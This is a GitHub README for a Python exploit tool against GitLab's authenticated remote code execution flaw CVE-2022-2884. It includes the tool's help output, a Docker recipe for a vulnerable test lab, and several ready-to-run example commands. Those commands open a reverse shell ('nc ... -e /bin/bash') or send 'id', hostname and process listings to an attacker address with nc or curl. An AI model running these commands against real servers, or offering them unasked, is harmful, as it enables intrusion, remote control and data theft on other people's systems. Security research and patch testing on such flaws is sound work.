/gitlab_rce_cve-2022-2884

Exploits GitLab authenticated RCE vulnerability known as CVE-2022-2884.

Primary LanguagePythonThe UnlicenseUnlicense

gitlab_rce_cve-2022-2884

This is a Python3 program that exploits GitLab authenticated RCE vulnerability known as CVE-2022-2884.

DISCLAIMER

This tool is intended for security engineers and appsec people for security assessments. Please use this tool responsibly. I do not take responsibility for the way in which any one uses this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.

Vulnerability info

Help

$ ./gitlab_rce_cve-2022-2884.py --help
usage: gitlab_rce_cve-2022-2884.py [-h] -u URL -pt PRIVATE_TOKEN [-tn TARGET_NAMESPACE] -a ADDRESS [-p PORT] [-s] -c COMMAND [-d DELAY] [-v]

Exploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - v1.0 (2022-12-25)

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL of the victim GitLab
  -pt PRIVATE_TOKEN, --private-token PRIVATE_TOKEN
                        private token of GitLab
  -tn TARGET_NAMESPACE, --target-namespace TARGET_NAMESPACE
                        target namespace of GitLab (default is 'root')
  -a ADDRESS, --address ADDRESS
                        IP address of the attacker machine
  -p PORT, --port PORT  TCP port of the attacker machine (default is 1337)
  -s, --https           set if the attacker machine is exposed via HTTPS
  -c COMMAND, --command COMMAND
                        the command to execute
  -d DELAY, --delay DELAY
                        seconds of delay to wait for the exploit to complete
  -v, --verbose         verbose mode

Examples

./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "id | nc 1.2.3.4 6669"

./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash"

./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "(hostname; ps aux) | curl 1.2.3.4:6669 -X POST --data-binary @- "

./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "echo 'test' > /tmp/test"

./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash" -d 180

./gitlab_rce_cve-2022-2884.py -v -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -p 1337 -c "nc 1.2.3.4 6669 -e /bin/bash"

./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -tn root -a 1.2.3.4 -p 1337 -s -c "nc 1.2.3.4 6669 -e /bin/bash"

Vulnerable application

A vulnerable application can be setup with the following commands.

export GITLAB_HOME=/srv/gitlab
docker run --detach --rm \
           --hostname gitlab.example.com \
           --publish 443:443 --publish 80:80 --publish 22:22 \
           --name vuln-gitlab \
           --volume $GITLAB_HOME/config:/etc/gitlab \
           --volume $GITLAB_HOME/logs:/var/log/gitlab \
           --volume $GITLAB_HOME/data:/var/opt/gitlab \
           --shm-size 256m \
           gitlab/gitlab-ce:15.3.0-ce.0

It might take a while before the Docker container starts to respond to queries. Then connect to http://localhost.

Sign in with the username root and the password from the following command.

docker exec -it vuln-gitlab grep 'Password:' /etc/gitlab/initial_root_password

To test the exploit locally, you have to add --network="host" to the docker run command and to remove constraints for outbound requests on GitLab:

  • connect to http://localhost/admin/application_settings/network;
  • expand "Outbound requests" section;
  • tick "Allow requests to the local network from web hooks and services";
  • add 127.0.0.1 to the "Local IP addresses and domain names that hooks and services may access" textbox;
  • save changes.

The prerequisite of the exploit is to have a private token on GitLab:

Authors

  • Antonio Francesco Sardella - main implementation - m3ssap0

License

See the LICENSE file for details.

Acknowledgments

  • yvvdwf, the security researcher who discovered the vulnerability.